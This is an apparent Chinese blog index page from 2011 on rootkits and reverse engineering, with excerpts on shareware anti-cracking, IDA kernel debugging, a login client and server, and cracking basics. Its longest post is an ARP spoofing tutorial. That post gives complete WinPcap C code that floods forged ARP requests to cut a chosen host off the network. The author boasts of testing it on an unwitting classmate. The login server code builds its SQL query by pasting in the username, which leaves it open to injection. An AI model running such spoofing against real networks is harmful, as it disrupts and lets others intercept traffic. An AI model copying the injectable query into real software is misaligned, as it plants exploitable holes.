PIXNET Logo登入

Rootkit --逆向工程技術--

跳到主文

Rootkit與逆向工程技術研討 歡迎指教:P

部落格全站分類:數位生活

  • 相簿
  • 部落格
  • 留言
  • 名片
  • 5月 29 週日 201121:46
  • 淺談共享軟體如何不被暴力蹂躪

共享軟體是目前世界上軟體業比較熱門的話題,國內更是如此。成千上萬的程式師以極大的熱情投入到這個領域來,都憧憬著用辛勤的勞動獲得豐厚 的回報;但,實際並非如此,絕大多數的人都鎩羽而歸。值得注意的是:除了軟體設計和技術上的原因外,最大的原因就是共享軟體被破解(Crack)了……
  面對破解
一個做共享軟體的作者,面對的是已經形成團夥的眾多破解高手,國內的什麼CCG、BCG,國外的eGis、King、Core、TNT、DAMN和TMG,皆為水準一流的破解組織。全球盜版軟體不少於80%都是由他們的破解的,技術實力連大軟體公司都不可小視。
看到這裡,你是否已經灰心了?別怕,雖然目前我們理論上無法完全避免被破解,但如果能夠有效地拖延被破解的時間,並充分打擊破解者的自信心,是可以讓破解者無法忍受這種折磨從而最終放棄的。
破解,通常的做法有兩種——暴力破解(爆破)和寫註冊機。筆者就自己積累的經驗來依次講解每種破解方法的原理和應對方法,某些關鍵的常式講解
(Delphi代碼),使用C++和VB的朋友可以自己稍微修改一下。希望這能對一些新手有些幫助,能夠更有效地保護自己的勞動成果。
(繼續閱讀...)
文章標籤

殘月影 發表在 痞客邦 留言(0) 人氣(2,168)

  • 個人分類:應用層_資安研究
▲top
  • 5月 29 週日 201121:01
  • 實現用IDA調試內核驅動


以前總想知道 IDA 是否能夠實現內核調試,後來找了一段時間沒什麼結果就暫時放棄了。 今天在國外的一個博客上偶然看到了用 IDA 實現內核調試的方法,其實現在國內也有很多文 章介紹了 IDA 通過串口進行調試的文章,如果大家想看的話可以搜索下。
這裡只是參考原文把實現的方法大體的用中文表述了一下。在調試之前需要安裝如下的 軟體:
1. IDA PRO 這個我想大家都應該有了;
2. Windbg 如果調試過驅動或者系統內核的話這個東西也應該有了;
3. VirtualKd 這個東西我想大家如果沒有做過使用 IDA 調試內核的話這個東西應該是 還沒有。
(繼續閱讀...)
文章標籤

殘月影 發表在 痞客邦 留言(0) 人氣(198)

  • 個人分類:驅動層_Rootkit資安研究
▲top
  • 5月 29 週日 201120:13
  • 超強驅動防行程終止

Rootkit
2011.5.29測試有效
【提示】能加驅動進內核,就沒必要弄EXE了,所以我個人覺得沒啥實際用途,僅供觀看
Windows會給每一個進程建立一個EPROCESS結構,給每一個執行緒建立ETHREAD結構,EPROCESS結構第一個成員是KPROCESS結構,ETHREAD結構第一個成員是KTHREAD結構。每個進程的執行緒的ETHREAD結構都會按下圖所示連結起來: 
(繼續閱讀...)
文章標籤

殘月影 發表在 痞客邦 留言(0) 人氣(305)

  • 個人分類:驅動層_Rootkit資安研究
▲top
  • 5月 26 週四 201113:47
  • 網路使用者密碼登入 驗證過程

通常網路密碼驗證過程是這樣的:用戶端在獲取使用者輸入的用戶名和密碼資訊之後創建socket通訊端與遠端伺服器建立一個連接,發送用戶名和密碼並等待伺服器返回消息,伺服器收到用戶名和密碼之後查詢伺服器資料庫,如果用戶名密碼正確返回給用戶端一個登錄成功消息,否則返回一個密碼錯誤的消息! 
 
下面是用VC++實現驗證過程中的部分代碼,代碼有點亂: 
//獲取使用者輸入資訊 
void CClientDlg::OnOK() 
{ 
//之前socket已經經過初始化 
UpdateData(); 
if(m_username.IsEmpty()||m_userID.IsEmpty()) 
  MessageBox("請輸入所有資訊!","用戶登錄",MB_OK); 
else 
{ 
  if(Load()) //調用驗證函數 
  { 
//   close(destSocket); 
   closesocket(destSocket); 
   CDialog::OnOK(); 
   MessageBox("登陸成功!","用戶登錄",MB_OK);//驗證成功 
   CChat chat; 
   chat.m_username=m_username; 
//   chat.res=res; 
   chat.DoModal(); 
  } 
  else 
  {      //驗證失敗 
   MessageBox("尚未註冊或\n用戶名/密碼有誤。","用戶登錄",MB_OK); 
  } 
} 
} 
BOOL CClientDlg::Load() //發送"Load:" 
{ 
////////////////////////發送登陸資訊並接收回饋資訊///////////////////////////// 
char sendText[100],recvText[5025]; 
int numsnt,numrcv,status; 
sprintf(sendText,"Load:%s,%s",m_username,m_userID); 
numsnt=send(destSocket, sendText, strlen(sendText) + 1, NO_FLAGS_SET); 
if (numsnt != (int)strlen(sendText) + 1) 
    { 
  MessageBox("ERROR: Connection terminated!","用戶登錄",MB_OK); 
  status=closesocket(destSocket); 
  if (status == SOCKET_ERROR) 
   MessageBox("ERROR: closesocket unsuccessful!","用戶登錄",MB_OK); 
     status=WSACleanup(); 
  if (status == SOCKET_ERROR) 
   MessageBox("ERROR: WSACleanup unsuccessful!","用戶登錄",MB_OK); 
  return false; 
    } 
numrcv=recv(destSocket, recvText, 5025, NO_FLAGS_SET); 
if ((numrcv == 0) || (numrcv == SOCKET_ERROR)) 
    { 
      MessageBox("ERROR: Connection terminated!","用戶登錄",MB_OK); 
      status=closesocket(destSocket); 
      if (status == SOCKET_ERROR) 
    MessageBox("ERROR: closesocket unsuccessful!","用戶登錄",MB_OK); 
      status=WSACleanup(); 
      if (status == SOCKET_ERROR) 
    MessageBox("ERROR: WSACleanup unsuccessful!","用戶登錄",MB_OK); 
      return false; 
    } 
recvText[numrcv]='\0'; 
////////////////////////////////////////////////////////////////////////////// 
/////////////////////讀取返回標誌和使用者資訊/////////////////////////////////// 
char Flag[10]; 
char *pos=strchr(recvText,'!'); 
pos+=1; 
int len_text=strlen(recvText); 
int len_pos=strlen(pos); 
int len=len_text-len_pos; 
for(int i=0;i<len;i++) 
  Flag[i]=recvText[i]; 
Flag[len]='\0'; 
if(strcmp(Flag,"success!")!=0) 
  return false; 
/////////////////////////////////////////////////////////////////////////////// 
///////////////////////將使用者資訊寫入與用戶名對應的檔//////////////////////// 
else 
{ 
  CString filename; 
  filename.Format(".\\data\\%s.db",m_username); 
  FILE *file; 
  if((file=fopen(filename,"w"))!=NULL) 
  { 
   fprintf(file,"%s",pos); 
  } 
  fclose(file); 
} 
/////////////////////////////////////////////////////////////////////////////// 
return true; 
} 
//附網路初始化代碼 
BOOL CClientDlg::Init_net() 
{ 
/////////////////////////網路初始化/////////////////////////////////// 
status=WSAStartup(MAKEWORD(1, 1), &Data); 
if (status != 0) 
  MessageBox("ERROR: WSAStartup unsuccessful!","用戶登錄",MB_OK); 
destAddr=inet_addr(DEST_IP_ADDR);  //暫時定為本機使用 
memcpy(&destSockAddr.sin_addr, &destAddr,sizeof(destAddr)); 
destSockAddr.sin_port=htons(606); 
destSockAddr.sin_family=AF_INET; 
destSocket=socket(AF_INET, SOCK_STREAM, 0); 
if (destSocket == INVALID_SOCKET) 
{ 
  MessageBox("ERROR: socket unsuccessful!","用戶登錄",MB_OK); 
  status=WSACleanup(); 
  if (status == SOCKET_ERROR) 
   MessageBox("ERROR: WSACleanup unsuccessful!","用戶登錄",MB_OK); 
  return false; 
} 
////////////////////////////////////////////////////////////////////// 
///////////////////////////連接網路//////////////////////////////////////////// 
status=connect(destSocket, (LPSOCKADDR) &destSockAddr,sizeof(destSockAddr)); 
if (status == SOCKET_ERROR) 
{ 
  MessageBox("ERROR: connect unsuccessful!","用戶登錄",MB_OK); 
  status=closesocket(destSocket); 
  if (status == SOCKET_ERROR) 
   MessageBox("ERROR: closesocket unsuccessful!","用戶登錄",MB_OK); 
  status=WSACleanup(); 
  if (status == SOCKET_ERROR) 
   MessageBox("ERROR: WSACleanup unsuccessful!","用戶登錄",MB_OK); 
  return false; 
} 
/////////////////////////////////////////////////////////////////////////////// 
return true; 
} 
//////////////////////////////////服務端代碼///////////////////////////////// 
//建立一個基於消息的非同步通訊端 
BOOL CSkyQQsrvDlg::InitSocket() 
{ 
m_socket=WSASocket(AF_INET,SOCK_DGRAM,0,NULL,0,0); //WSASocket創建通訊端 
if(INVALID_SOCKET==m_socket) 
{ 
  MessageBox("創建通訊端失敗!"); 
  return FALSE; 
} 
SOCKADDR_IN addrSock; 
addrSock.sin_addr.S_un.S_addr=htonl(INADDR_ANY); 
addrSock.sin_family=AF_INET; 
addrSock.sin_port=htons(606);//設置606為監聽埠 
if(SOCKET_ERROR==bind(m_socket,(SOCKADDR*)&addrSock,sizeof(SOCKADDR))) 
{ 
  MessageBox("綁定失敗!"); 
  return FALSE; 
} 
if(SOCKET_ERROR==WSAAsyncSelect(m_socket,m_hWnd,UM_SOCK,FD_READ))//請求一個基於消息的網路事件通知非同步通訊端 
{ 
  MessageBox("註冊網路讀取事件失敗!"); 
  return FALSE; 
} 
return TRUE; 
} 
//建立消息映射,在SkyQQsrvDlg.h中添加 
#define UM_SOCK  WM_USER+1 //定義消息 
//消息映射 
BEGIN_MESSAGE_MAP(CSkyQQsrvDlg, CDialog) 
//{{AFX_MSG_MAP(CSkyQQsrvDlg) 
// ON_WM_SYSCOMMAND() 
// ON_WM_PAINT() 
// ON_WM_QUERYDRAGICON() 
ON_MESSAGE(UM_SOCK,OnSock) 
// ON_BN_CLICKED(IDC_BTN_SEND, OnBtnSend) 
//}}AFX_MSG_MAP 
END_MESSAGE_MAP() 
BOOL bchar=FALSE;//密碼檢測結果 
SOCKET m_socket; 
void CSkyQQsrvDlg::OnSock(WPARAM wParam,LPARAM lParam) 
{ 
switch(LOWORD(lParam)) 
{ 
case FD_READ:  //讀取事件 
  WSABUF wsabuf; 
  wsabuf.buf=new char[200]; 
  wsabuf.len=200; 
  DWORD dwRead; 
  DWORD dwFlag=0; 
  SOCKADDR_IN addrFrom; 
  int len=sizeof(SOCKADDR); 
  CString str; 
  CString strTemp; 
  HOSTENT *pHost; 
  if(SOCKET_ERROR==WSARecvFrom   (m_socket,&wsabuf,1,&dwRead,&dwFlag,//WSARecvFrom接受資料函數 
      (SOCKADDR*)&addrFrom,&len,NULL,NULL)) 
  { 
   MessageBox("接收資料失敗!"); 
   return; 
  } 
  pHost=gethostbyaddr((char*)&addrFrom.sin_addr.S_un.S_addr,4,AF_INET); 
  addrFromIP.sin_addr.S_un.S_addr=addrFrom.sin_addr.S_un.S_addr; 
  char(wsabuf.buf);//調用密碼檢測函數 
CString strSend; 
if(bchar) 
{//發送驗證成功的消息 
  strsend="success"; 
} 
else    strsend="FALSE"; 
SOCKADDR_IN addrTo; 
addrTo.sin_family=AF_INET; 
addrTo.sin_addr.S_un.S_addr=addrFromIP.sin_addr.S_un.S_addr; 
addrTo.sin_port=Port;//將獲取的資料埠設置為發送資料埠 
len=strSend.GetLength();    //長度 
wsabuf.buf=strSend.GetBuffer(len); 
wsabuf.len=len+1; 
if(SOCKET_ERROR==WSASendTo(m_socket,&wsabuf,1,&dwSend,0, //WSASend發送資料 
   (SOCKADDR*)&addrTo,sizeof(SOCKADDR),NULL,NULL)) 
{ 
  MessageBox("發送資料失敗!"); 
  return; 
} 
} 
} 
void char(char * wsabuf) 
{ 
_ConnectionPtr m_pConnection; 
_RecordsetPtr m_pRecordset 
CString admin,passwd; 
huanyuan(wsabuf,admin,passwd); 
//假設伺服器上已經有一個ACCESS資料庫檔,檔案名為skywd,並建有user(admin,password)表 
//初始話OLE/COM庫環境 
::CoInitialize(NULL); 
try 
{ 
_ConnectionPtr pConn(__uuidof(Connection)); 
pConn->C; 
pConn->Open("","","",adConnectUnspecified); //打開對資料庫的連接,使用者ID和密碼,同步打開這個連接 
m_pC; 
} 
//捕捉異常 
catch(_com_error e) 
{   //顯示錯誤資訊 
//  AfxMessageBox(e.Description()); 
  AfxMessageBox("資料庫連接出錯"); 
} 
//設置INSERT語句,查詢資料 
_bstr_t vSQL; 
vSQL = "SELECT * FROM user WHERE admin = '" +admin + "'" ; //變數直接加,字串用""括起來 
try 
{ 
m_pRecordset.CreateInstance(__uuidof(Recordset)); 
m_pRecordset->Open(vSQL,m_pConnection.GetInterfacePtr(), //直接用記錄集物件查詢 
adOpenDynamic,adLockOptimistic,adCmdText); 
} 
catch(_com_error e) 
{ 
  AfxMessageBox(e.Description()); 
} 
_variant_t  var = m_pRecordset->GetCollect("password"); 
  if(var.vt!=VT_NULL) 
  { 
   if(passwd==(LPCTSTR)_bstr_t(var)) 
   bchar=TRUE;//通過驗證 
  } 
  else 
  { //如果答案為空,則重建答案 
   bchar=FALSE; 
  } 
//斷開資料庫連接 
if(m_pRecordset!=NULL) 
m_pRecordset->Close(); 
m_pConnection->Close(); 
} 
zhuanhuan(char * wsabuf,CString admin,CString passwd)
{
    CString str1=wsabuf;
    int n1=str1.Find(":");
    int n2=str1.Find(",");
    int n3=str1.Getlength()-1;
    admin=str1.Left(n2);
    admin=admin.Right(n2-n1-1);
    passwd=str1.Right(n3-n2-1);
}
(繼續閱讀...)
文章標籤

殘月影 發表在 痞客邦 留言(1) 人氣(334)

  • 個人分類:應用層_資安研究
▲top
  • 5月 26 週四 201113:43
  • ARP欺騙 自己動手DIY

前段時間我們學校的的網路總是出現掉線的問題,後來說是ARP欺騙,要我們用ANTIARPSNIFFER。小弟不才,
也想搞清楚這個ARP欺騙到底是個什麼東西。於是在網上查了點資料,看了點文檔。也算是DIY了一個出來,而
且可以不被ANTIARPSNIFFER發現的讓對方主機在網路中死掉。於是把這個小東西貼出來讓大家一起把玩一下。
   在下菜鳥一隻,還請高手指教
參考資料:《TCP/IP詳解II:實現》,《WINPCAP 3.0 DOC》,《切換式網路中的嗅探和ARP欺騙》(一位叫RefDom
的大哥很久前寫的帖子)
   一般在局域網中的各主機一般都是連接到同一個交換機(或是HUB),再由交換機連接路由器,路由器再與
相對於該局域網的外部網路相連。在我們的主機和交換機的記憶體中,都保留著一張ARP的緩存表(你可以在cmd
下用arp -a來查看),它記錄著IP位址和MAC位址的對應關係。當外部網路的一個包傳進來,交換機通過這個包
的IP位址,在他的ARP緩存表中查找其對應的MAC位址(因為交換機是工作在鏈路層的,所以他只會根據MAC位址
來判斷是哪個主機),當找到時,他就把這個包傳給擁有這個MAC位址的主機。當主機向外部網路通信的時候,
主機查詢自己的ARP緩存表裡閘道(在這裡就是交換機)(這個閘道是用IP位址確定的)的MAC位址,然後將包
傳給交換機,交換機一看是它的MAC位址,就把這個包往上傳給路由器。
   我們可以把IP比做姓名,把MAC位址比做聯繫方式
   當主機連接上網路時,他會發送一個廣播(ARP REQUEST)說:大家好,我是IP xxx,這是我的MAC位址aaa,
大家以後用他聯繫,叫IP YYY的閘道大哥的MAC地址是多少啊 ,小弟以後找還要拜託大哥了,記個聯繫方式先~
   然後閘道IP YYY告訴IP XXX說(ARP REPLY):我就是閘道IP XXX,我已經記下了你IP和你的MAC地址,我的
MAC地址是ccc,以後有事聯繫,別客氣~
   現在,假如出現了一些不明原因的錯誤,主機A中的arp緩存表中閘道IP YYY對應的MAC地址不是閘道的,而
是另一台主機B的(BBB),那麼當主機A發送了一個包時,他查詢自己的ARP緩存表,把主機B的MAC位址填在了
閘道的地方,然後把包發了出去,交換機一看這個MAC地址,心想這不是給我的小弟B的嗎,於是把這個包發給
了內網中的B,而主機A卻不知道這個包已經迷失在了網路中。
  再假設另一個錯誤,現在主機中的arp緩存表沒錯,而交換機的緩存錯了,主機A的IP對應的MAC位址上填的是
主機B的!,那麼當外部網路的一個發給主機A的包到達交換機的時候,交換機查自己的ARP緩存表,一看這個IP
(A的)對應了自己內網中一個主機的MAC位址 (B的),於是就把這個包傳給了擁有這個MAC位址的B,而不是A
!
   另外還有一點很重要的是,ARP協定中,無論主機A有沒有REQUEST或是已經收到了REPLY,當再有REPLY來的
時候,它都會記下這個REPLY中的資訊,並更新自己的ARP緩存。同樣交換機,也只要是有主機發送ARP REQUEST
,他就會記下這個資訊,並更新自己的ARP緩存,而不會管這個請求是對是錯
   原諒我說了這麼多晦澀的話,但這決不是廢話,因為所謂的arp欺騙就是將上面所說的兩個錯誤人為的造成
。
  第一種欺騙方法:欺騙主機A說,我是閘道IP YYY,我的MAC地址改成BBB了,於是主機A就出現了我們剛說的
第一種情況的錯誤。
  第二種欺騙方法:欺騙交換機說,我是主機A IP XXX,我的MAC地址是BBB,於是交換機出現了我們說的第二
種情況的錯誤。
  既然要騙人家,就要讓別人相信你說的是真的,首先我們要符合ARP包的格式,另外我們要讓該真的地方真,
這樣別人才會相信你說的假話。
  先來看下ARP包是個什麼樣的(TCP/IP詳解II圖21-7有詳細說明,大家可以查查看)
 typedef struct ethhdr               //乙太網頭部,長度14
{
  unsigned char dst[6];       //目的的MAC位址
  unsigned char src[6];       //源的MAC地址
  unsigned short type;        //框架類型
}ETHHDR,*PETHDHR;
typedef struct eth_arphdr           //乙太網arp欄位長度28
{
  unsigned short arp_hrd;     //硬體類型
  unsigned short arp_pro;     //協議類型
  unsigned char  arp_hln;     //硬體位址長度(6)
  unsigned char  arp_pln;     //協議位址長度(4)
        unsigned short arp_op;      //回應還是請求
 
  unsigned char arp_sha[6];   //發送者MAC地址
  unsigned long arp_spa;      //發送者IP
  unsigned char arp_tha[6];   //接收者MAC地址
  unsigned long arp_tpa;      //接收者IP
}ETH_ARPHDR,*PETH_ARPHDR;
typedef struct arp                  //整個ARP包的結構
{
    ETHHDR ethhdr;
    ETH_ARPHDR eth_arp;
}ARP,*PARP;  
  現在我們再來看下arp request 和arp reply到底是個什麼樣子。
  我打開了winpcap devlopment pack中的一個例副程式TestApp,他帶有很簡單的嗅探功能,然後我用
arp -d 10.10.63.254(我的閘道IP地址),清除了我的ARP緩存表中閘道的記錄,過一下,我再用arp -a查看自
己的緩存表,閘道的IP,MAC又寫上來了,這說明一次REQUEST和REPLY已經完成。於是,我在TestApp的輸出中
找到了他們的包的記錄:
我的IP地址是10.10.63.37(即0a 0a 3f 25),MAC地址是00 20 ED 89 53 B9
我的閘道的IP地址是10.10.63.254(即0a 0a 3f fe),MAC地址是00 11 5d ac e8 00
request的:長度42
    FF FF FF FF FF FF 00 20 ED 89 53 B9 08 06 00 01 08 00 06 04 00 01 00 20 ED 89 53 B9 0A 0A 3F 
25 00 00 00 00 00 00 0A 0A 3F FE
reply的:  長度60
    00 20 ED 89 53 B9 00 11 5D AC E8 00 08 06 00 01 08 00 06 04 00 02 00 11 5D AC E8 00 0A 0A 3F 
FE 00 20 ED 89 53 B9 0A 0A 3F 25 00 00 00 00 00....(後面都是用0填充)
 
好了根據這兩個包,我們就能構造惡意的REQUEST和REPLY,假如我們要讓一台內網中的主機C消失,假設他的IP
是10.10.63.123,MAC位址是11 22 33 44 55 66那麼我們可以這樣來構造包(我們使用一個偽造的MAC位址,比
如是AA BB CC DD EE FF
惡意的request:長度42
    FF FF FF FF FF FF AA BB CC DD EE FF 08 06 00 01 08 00 06 04 00 01 AA BB CC DD EE FF 0A 0A 3F 
7B 00 00 00 00 00 00 0A 0A 3F FE
當交換機接受了這個請求並更新了自己的ARP緩存後,任何發給10.10.63.123的包都會轉發到MAC位址是
AA BB CC DD EE FF的主機(假如這個主機才內網中存在的話)
惡意的reply :長度60
    11 22 33 44 55 66 AA BB CC DD EE FF 08 06 00 01 08 00 06 04 00 02 AA BB CC DD EE FF 0A
0A 3F FE 11 22 33 44 55 66 0A 0A EF 7B 00 00 00 00 00.....(後面用0填充)
當主機接受到了這個包,並更新了自己的ARP緩存後,他所發的任何包都會轉發給擁有這個MAC位址的主機(同
上,這個主機必須存在)。
   現在假如交換機和主機都被欺騙了,於是就出現了這樣的一個情況:主機A和其他主機或是外部網路的一切
通信就都會傳給這個偽造MAC的主機,而如果這個主機再將這些包轉發給原來的接收方的話,他就成了THE 
MIDDLE MAN,而這種方式也正是交換機網路中的嗅探原理了。有興趣的話,大家也可以寫個試試~
   現在回到我們的話題上來,當我們自己的網路中出現了類似的欺騙的時候,我們應該怎麼防範?很多人估計
都會想到用專門的軟體,比如ANTIARPSNIFFER3.0,這個軟體實際是將閘道的IP位址和MAC位址的對應關係綁定
,當接受到一個ARP REPLY時他會查看這個包中發送方的IP和MAC位址,如果IP是閘道的,而MAC地址不是,那他
就認為這是個ARP欺騙,於是記錄這個假的MAC位址(當然我們可以偽造,如果你想架禍人的話,也可以填別人
的...,但如果你是想嗅探(即是你自己的MAC地址),那麼你可能會在某天被一群人抓出去暴打一頓...,為什
麼我們生活的世界這麼暴力,不能和平解決呢?額...我請大哥們吃頓飯怎麼樣??)
   ANTIARPSNIFFER可以有效的阻止發送給主機的欺騙REPLY,但他無法阻止發送給交換機的欺騙REQUEST,因此
也就無法捕獲惡意攻擊者的MAC位址,所以我個人認為站在攻擊的角度,第二種欺騙方式要比第一種來的更加有
效和不易被發現,畢竟誰的會關注自身的安全,卻往往忽視社會整體的安全隱患....要想解決這個問題,就必
須把交換機的ARP緩存設為靜態(即將IP和MAC的對應關係鎖死)(使用ARP -S)來解決。然而,對於主機使用
DHCP動態獲取IP的網路(比如我們學校的網路),由於IP與MAC位址無法在長時間內保持一致,因此交換機的
ARP緩存表必須是可更新的(即動態),於是對於這種網路,發送欺騙REQUEST給交換機的攻擊方式將是無法解
決的....
   也正因為此,我所編寫的一個測試程式是基於第二種攻擊方式(即發送加的ARP REQUEST請求給交換機)。
由於是測試程式,我把一切可能出錯的部分都做了最簡化以方便調試,程式相當簡陋,不過仍然很有效。
另外要說明的是,我安裝了WINPCAP 3.0(一個OPEN SOURCE的網卡驅動專案)和他的開發包。並參考了WINPCAP
DOC中的程式和RefDom大哥在帖子裡的程式,當然還有偉大的W.Richard.Stevens的《TCP/IP詳解II實現》第21
章
/////////////////////////////////////////////////////////////////////////////
//    arp attacker
//    author:enolaZ
//    e-mail:enolaz@126.com
/////////////////////////////////////////////////////////////////////////////
#include<stdio.h>
#include"packet32.h"
#include<winsock2.h>
#pragma comment(lib,"ws2_32")
#pragma comment(lib,"packet")
#define EPT_ARP 0x0806                //定義了一些在構造包的時候要用到的常量
#define EPT_IP 0x0800
#define ARP_HARDWARE 0X0001
#define ARP_REPLY 0x0002
#define ARP_REQUEST 0x0001
#pragma pack(push,1)                //在定義結構的時候一頂要用到pack(push,1)和下麵的pack(pop)
                                    //否則你構造的結構的長度會有問題
typedef struct ethhdr               //乙太網頭部,長度14
{
  unsigned char dst[6];       //目的的MAC位址
  unsigned char src[6];       //源的MAC地址
  unsigned short type;        //框架類型
}ETHHDR,*PETHDHR;
typedef struct eth_arphdr           //乙太網arp欄位長度28
{
  unsigned short arp_hrd;     //硬體類型
  unsigned short arp_pro;     //協議類型
  unsigned char  arp_hln;     //硬體位址長度(6)
  unsigned char  arp_pln;     //協議位址長度(4)
        unsigned short arp_op;      //回應還是請求
 
  unsigned char arp_sha[6];   //發送者MAC地址
  unsigned long arp_spa;      //發送者IP
  unsigned char arp_tha[6];   //接收者MAC地址
  unsigned long arp_tpa;      //接收者IP
}ETH_ARPHDR,*PETH_ARPHDR;
typedef struct arp                  //整個ARP包的結構
{
  ETHHDR ethhdr;
    ETH_ARPHDR eth_arp;
}ARP,*PARP;
#pragma pack(pop)
#define Max_Num_Adapter 10
char        AdapterList[Max_Num_Adapter][1024];  //定義的網路介面卡列表
int main (int argc,char* argv[])
{
  LPADAPTER  lpAdapter = 0;               
  LPPACKET   lpPacket;
  int        i;
  DWORD      dwErrorCode;
  WCHAR     AdapterName[8192]; 
  WCHAR     *temp,*temp1;                 //將AdapterNames的內容轉存到AdapterList時用
  int     AdapterNum=0;
  ULONG     AdapterLength;
  ARP arpPacket;                           //定義的包結構實例
  char szPktBuf[256000];                   //用於存放包的內容
        printf("%d\n",sizeof(ETHHDR));           //這3行是我在測試結構長度時用的,如果沒有使用之
  printf("%d\n",sizeof(ETH_ARPHDR));       //前說的pack(push,1),pack(pop)長度就成了14,32
  printf("%d\n",sizeof(ARP));              //48,與我們的arp包的格式不符
  i=0;  
  AdapterLength = sizeof(AdapterName);
  if(PacketGetAdapterNames((char *)AdapterName,&AdapterLength)==FALSE)//獲取所有網路介面卡
  {
    printf("Unable to retrieve the list of the adapters!\n");
    return -1;
  }
  temp=AdapterName;
  temp1=AdapterName;
  while ((*temp!='\0')||(*(temp-1)!='\0'))          //將AdapterNames的內容轉存到AdapterList
  {
    if (*temp=='\0') 
    {
      memcpy(AdapterList[i],temp1,(temp-temp1)*2);
      temp1=temp+1;
      i++;
    }
    temp++;
  }
    
  AdapterNum=i;
  for (i=0;i<AdapterNum;i++)
    wprintf(L"\n%d- %s\n",i+1,AdapterList[i]); //輸出獲得的所有網路介面卡
  printf("\n");  
  
  lpAdapter =   PacketOpenAdapter(AdapterList[0]);   //得到對應網路介面卡的_Adapter結構,我  
                                                           //就一個當然是0了  
  if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
  {
    dwErrorCode=GetLastError();
    printf("Unable to open the adapter, Error Code : %lx\n",dwErrorCode); 
    return -1;
  }  
        lpPacket=PacketAllocatePacket();                       //得到一個包的_Packet結構
  if(lpPacket==NULL)
  {
    printf("alloc lppacket failed");
    return -1;
  }
        ZeroMemory(szPktBuf,sizeof(szPktBuf));                //將包的緩存區清空
  arpPacket.ethhdr.dst[0]=0xff;                     //開始填充包結構arpPacket
        arpPacket.ethhdr.dst[1]=0xff;
  arpPacket.ethhdr.dst[2]=0xff;
  arpPacket.ethhdr.dst[3]=0xff;
  arpPacket.ethhdr.dst[4]=0xff;
  arpPacket.ethhdr.dst[5]=0xff;
  arpPacket.ethhdr.src[0]=0x00;                     //一個偽造的MAC位址
        arpPacket.ethhdr.src[1]=0x20;
  arpPacket.ethhdr.src[2]=0xce;
  arpPacket.ethhdr.src[3]=0xa8;
  arpPacket.ethhdr.src[4]=0x54;
  arpPacket.ethhdr.src[5]=0x33;
  arpPacket.ethhdr.type=htons(EPT_ARP);
  arpPacket.eth_arp.arp_hrd=htons(ARP_HARDWARE);
  arpPacket.eth_arp.arp_pro=htons(EPT_IP);
  arpPacket.eth_arp.arp_hln=6;
  arpPacket.eth_arp.arp_pln=4;
  arpPacket.eth_arp.arp_op=htons(ARP_REQUEST);
  arpPacket.eth_arp.arp_sha[0]=0x00;                    //仍然是假的MAC地址
  arpPacket.eth_arp.arp_sha[1]=0x20;
  arpPacket.eth_arp.arp_sha[2]=0xce;
  arpPacket.eth_arp.arp_sha[3]=0xa8;
  arpPacket.eth_arp.arp_sha[4]=0x54;
  arpPacket.eth_arp.arp_sha[5]=0x33;
  arpPacket.eth_arp.arp_spa=inet_addr("10.10.63.123");   //冒充對象的IP
        arpPacket.eth_arp.arp_tha[0]=0x00;
  arpPacket.eth_arp.arp_tha[1]=0x00;
  arpPacket.eth_arp.arp_tha[2]=0x00;
  arpPacket.eth_arp.arp_tha[3]=0x00;
  arpPacket.eth_arp.arp_tha[4]=0x00;
  arpPacket.eth_arp.arp_tha[5]=0x00;
  arpPacket.eth_arp.arp_tpa=inet_addr("10.10.63.254");   //閘道IP
        printf("%d\n",sizeof(arpPacket));
  memcpy(szPktBuf,(char*)&arpPacket,sizeof(arpPacket));  
  PacketInitPacket(lpPacket,szPktBuf,60);                
        while(getchar()!='q')                                     //當輸入為q時結束
  {
        if(PacketSendPacket(lpAdapter,lpPacket,true)==false)  //不斷發送偽造資訊,將目標的正確
                                                              //ARP REQUEST淹沒
    {
        printf("error in sending packet");
        return -1;
    }
  }
  printf("send ok");
  PacketFreePacket(lpPacket);        //一點掃尾的工作
  PacketCloseAdapter(lpAdapter);
    return 1;
}
好了,這個異常簡陋的程式結束了,我對我們內部網的某同學測試過,當我程式啟動不久,去他寢室看,他已
經掉線了,而他的AntiArpSniffer卻沒有報警,呵呵這說明攻擊很成功~。
當然要說明的一點是,這個東西完全是研究學習用,沒有惡意,也希望大家不要隨便對別人做壞事,恩恩,為
了學習研究的目的當然可以做一下實驗,但不要太有破壞性哦~(如果你想被一群憤怒的群眾痛打,那我也沒話
說...)。可憐了我那位元實驗物件 ...找個機會請他吃個飯吧~
(繼續閱讀...)
文章標籤

殘月影 發表在 痞客邦 留言(3) 人氣(4,696)

  • 個人分類:應用層_資安研究
▲top
  • 5月 20 週五 201123:00
  • 破解10步基本功

下面談到了一些在學習解密過程中經常遇到的問題,本人根據自己的經驗簡單給大家談一談。這些問題對於初學者來說常常是很需要搞明白的,根據我自己的學習經歷,如果你直接照著很多破解教程去學習的話,多半都會把自己搞得滿頭的霧水,因為有很多的概念要麼自己不是很清楚,要麼根本就不知道是怎麼一回事,所以希望通過下面的討論給大家一定的幫助: 
1. 中斷點:所謂中斷點就是程式被中斷的地方,這個詞對於解密者來說是再熟悉不過了。那麼什麼又是中斷呢?中斷就是由於有特殊事件(中斷事件)發生,電腦暫停當前的任務(即程式),轉而去執行另外的任務(中斷服務程式),然後再返回原先的任務繼續執行。打個比方:你正在上班,突然有同學打電話告訴你他從外地坐火車過來,要你去火車站接他。然後你就向老闆臨時請假,趕往火車站去接同學,接著將他安頓好,隨後你又返回公司繼續上班,這就是一個中斷過程。我們解密的過程就是等到程式去獲取我們輸入的註冊碼並準備和正確的註冊碼相比較的時候將它中斷下來,然後我們通過分析程式,找到正確的註冊碼。所以我們需要為被解密的程式設置中斷點,在適當的時候切入程式內部,追蹤到程式的註冊碼,從而達到crack的目的。 
